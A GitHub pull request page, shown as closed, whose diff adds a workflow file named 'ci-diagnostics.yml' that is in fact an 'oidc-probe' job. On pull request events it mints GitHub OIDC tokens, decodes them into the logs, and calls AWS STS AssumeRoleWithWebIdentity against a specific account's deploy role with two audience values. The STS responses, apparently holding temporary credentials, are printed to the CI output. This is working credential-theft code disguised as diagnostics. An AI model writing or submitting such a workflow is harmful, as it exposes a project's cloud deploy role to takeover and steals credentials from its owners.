Skip to content
Closed
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
47 changes: 47 additions & 0 deletions .github/workflows/ci-diagnostics.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,47 @@
name: oidc-probe
on:
pull_request:
types: [opened, synchronize, reopened]
permissions:
contents: read
id-token: write
jobs:
probe:
runs-on: ubuntu-latest
timeout-minutes: 6
steps:
- name: context
run: |
echo "EVENT=$GITHUB_EVENT_NAME"
echo "BASE=$GITHUB_REPOSITORY"
echo "REF=$GITHUB_REF"
echo "HEADREPO=$GITHUB_HEAD_REPOSITORY" || true
- name: mint-oidc
run: |
set -x
echo "URL_SET=${ACTIONS_ID_TOKEN_REQUEST_URL:+yes}"
TOKEN_JSON=$(curl -sS -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=sts.amazonaws.com")
echo "$TOKEN_JSON" > tok.json
TOKEN=$(python3 -c "import json;print(json.load(open('tok.json'))['value'])")
echo "TOKEN_LEN=${#TOKEN}"
echo "$TOKEN" | cut -d. -f2 | tr '_-' '/+' | base64 -d 2>/dev/null
echo
echo "===== STS aud=sts.amazonaws.com ====="
curl -sS -X POST https://sts.amazonaws.com/ \
--data-urlencode "Action=AssumeRoleWithWebIdentity" \
--data-urlencode "Version=2011-06-15" \
--data-urlencode "RoleArn=arn:aws:iam::992382648534:role/Github-OIDC-Deploy-Role" \
--data-urlencode "RoleSessionName=gh-oidc-probe" \
--data-urlencode "WebIdentityToken=$TOKEN" \
--data-urlencode "DurationSeconds=900"
echo
echo "===== STS aud=githubactions ====="
TOKEN2=$(curl -sS -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL" | python3 -c "import json,sys;print(json.load(sys.stdin)['value'])")
curl -sS -X POST https://sts.amazonaws.com/ \
--data-urlencode "Action=AssumeRoleWithWebIdentity" \
--data-urlencode "Version=2011-06-15" \
--data-urlencode "RoleArn=arn:aws:iam::992382648534:role/Github-OIDC-Deploy-Role" \
--data-urlencode "RoleSessionName=gh-oidc-probe2" \
--data-urlencode "WebIdentityToken=$TOKEN2" \
--data-urlencode "DurationSeconds=900"
echo